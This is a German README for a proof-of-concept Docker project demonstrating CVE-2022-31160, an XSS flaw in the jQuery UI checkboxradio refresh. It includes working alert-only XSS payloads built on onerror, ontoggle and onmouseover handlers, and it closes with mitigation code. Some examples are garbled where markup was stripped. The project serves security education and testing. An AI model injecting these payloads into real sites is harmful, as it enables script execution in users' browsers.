
jquery XSS Proof of Concept (PoC)
Dieses Projekt demonstriert die jQuery UI Checkboxradio Widget Refresh Schwachstelle (CVE-2022-31160), die eine Decodierung von HTML-Entitäten während Widget-Refresh-Vorgängen ermöglicht und potenziell zu Cross-Site-Scripting (XSS)-Angriffen führen kann.
⚠️ Dieses Projekt enthält funktionierende XSS-Payloads ausschließlich für Bildungs- und Forschungszwecke.
Wenn ein Checkboxradio-Widget auf einem innerhalb eines Labels eingeschlossenen Input initialisiert wird, führt der Aufruf von .checkboxradio("refresh") auf dem Widget dazu, dass HTML-Entitäten im Label-Inhalt fälschlicherweise decodiert werden. Dadurch kann sicher codierter schädlicher Inhalt in ausführbares JavaScript umgewandelt werden.
<!-- Sicher codierter Inhalt -->
<label for="checkbox">
Text <img src=x onerror="alert('XSS')">
<input type="checkbox" id="checkbox">
</label>
<!-- Nach .checkboxradio("refresh") -->
<label for="checkbox">
Text
<input type="checkbox" id="checkbox">
</label>
# In das Projektverzeichnis wechseln
cd jquery-cve-2022-31160
# Docker-Image erstellen
docker build -t jquery-cve-2022-31160 .
# Container starten
docker run -p 3000:3000 jquery-cve-2022-31160
Sobald der Container läuft, erreichen Sie:
jquery-cve-2022-31160/
├── README.md # Diese Dokumentation
├── Dockerfile # Docker-Container-Konfiguration
├── package.json # Node.js-Abhängigkeiten
├── server.js # Express.js-Server
└── simplified-survey.html # Umfrageartige Demonstration
simplified-survey.html)Funktionen:
<img src=x onerror="..."> - Sofortige Ausführung<details ontoggle="..." open> - Sofortige Ausführung<span onmouseover="..."> - Interaktive AusführungAnalysewerkzeuge:
.checkboxradio("refresh") wird aufgerufen// Verwundbarer Vorgang
$('#vulnerable-checkbox').checkboxradio();
$('#vulnerable-checkbox').checkboxradio("refresh"); // Löst Schwachstelle aus
Die Demonstrationen enthalten verschiedene Payloads zum Testen unterschiedlicher XSS-Ausführungsmethoden:
<!-- Netzwerksicherheit: Error-Ereignis XSS (Sofortige Ausführung) -->
<img src=x onerror="console.log('XSS via widget refresh!'); alert('Widget refresh XSS executed!');">
<!-- Mobile Sicherheit: Details-Toggle XSS (Sofortige Ausführung) -->
<details ontoggle="alert('Mobile Security XSS executed!'); console.log('Mobile XSS via details ontoggle!')" open><summary></summary></details>
<!-- Cloud-Sicherheit: Interaktives XSS (Benutzerinteraktion erforderlich) -->
<span onmouseover="alert('Hover XSS executed!'); console.log('Cloud Security XSS via mouseover!')" style="text-decoration:underline; cursor:pointer;">[Hover to trigger]</span>
onerror)src=x fehl)ontoggle)open-Attribut)onmouseover)Vorteile von Ereignis-Handlern:
innerHTML<script>-Tag-Einschränkungenontoggle) sind hochzuverlässigUmgehung der Codierung:
<, ") werden durch den jQuery-UI-Refresh decodiertdocker build -t jquery-cve-2022-31160 .
# Auf Standard-Port 3000 ausführen
docker run -p 3000:3000 jquery-cve-2022-31160
# Auf benutzerdefiniertem Port ausführen
docker run -p 8080:3000 jquery-cve-2022-31160
# Im Hintergrund ausführen
docker run -d -p 3000:3000 jquery-cve-2022-31160
# Mit benutzerdefiniertem Namen ausführen
docker run --name jquery-xss-demo -p 3000:3000 jquery-cve-2022-31160
# Laufende Container auflisten
docker ps
# Container anhalten
docker stop jquery-cve-2022-31160
# Container entfernen
docker rm jquery-cve-2022-31160
# Image entfernen
docker rmi jquery-cve-2022-31160
Diese Schwachstelle kann in Anwendungen ausgenutzt werden, die:
.checkboxradio("refresh")-Aufrufen// Vor dem Refresh den Inhalt bereinigen oder validieren
function safeRefresh(element) {
// Label-Inhalt vor dem Refresh validieren
const label = $(`label[for="${element.attr('id')}"]`);
const content = label.html();
// Auf potenziell gefährlichen Inhalt prüfen
if (content.includes('<') || content.includes('javascript:')) {
console.warn('Potenziell gefährlicher Inhalt erkannt');
return;
}
element.checkboxradio("refresh");
}
// Express.js-Sicherheits-Header
app.use((req, res, next) => {
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-Frame-Options', 'DENY');
res.setHeader('X-XSS-Protection', '1; mode=block');
res.setHeader('Content-Security-Policy', "default-src 'self'");
next();
});
Dieses Projekt dient als Bildungsressource für:
Bei Verwendung dieser Demonstration:
Beiträge sind willkommen! Bitte:
Diese Software wird ausschließlich zu Bildungs- und Forschungszwecken bereitgestellt. Die Autoren und Mitwirkenden:
Dieses Projekt wird zu Bildungszwecken unter der MIT-Lizenz bereitgestellt.
Erstellt für Sicherheitsforschung und -bildung | Verantwortungsvoll nutzen | Schwachstellen über die richtigen Kanäle melden